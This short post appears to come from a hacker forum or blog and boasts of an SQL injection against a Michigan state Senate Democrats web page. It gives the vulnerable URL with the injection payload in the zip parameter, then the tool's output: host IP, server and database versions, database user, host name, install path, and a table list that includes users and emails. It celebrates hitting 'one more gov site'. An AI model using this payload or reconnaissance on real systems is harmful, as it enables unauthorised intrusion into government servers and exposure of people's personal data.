WTF? 

http://www.senate.mi.gov/dem/sentable.php?q=sd&zip=%00' 

yAHHHHHHHHHooooo!!!! SQLi!!! Let's take a look!

Host IP: 198.109.173.21

Web Server: Microsoft-IIS/6.0

Powered-by: ASP.NET

Powered-by: PHP/5.2.5

DB Server: MySQL error based

Resp. Time(avg):179 ms

Current User: demwebuser@localhost

Sql Version: 5.0.45-community-nt

Current DB: demweb

System User: demwebuser@localhost

Host Name: SenateWeb

Installation dir: C:\Program Files\MySQL\MySQL Server 5.0

DB User: 'demwebuser'@'%'

Data Bases: information_schema

demweb

Table Name:

blog_comments

blog_main

blog_media

bloglink

cbpetition

contact

dist_zip

emails

extrapages

fspetition

issue

issuelink

media

medialink

news

newslink

permissions

permlink

petition

poll_ans

poll_ques

pubs

pubslink

removeenews

senateimg

senateimglink

senators

senpages

tupacwp

users

I think it's greate! One more gov site!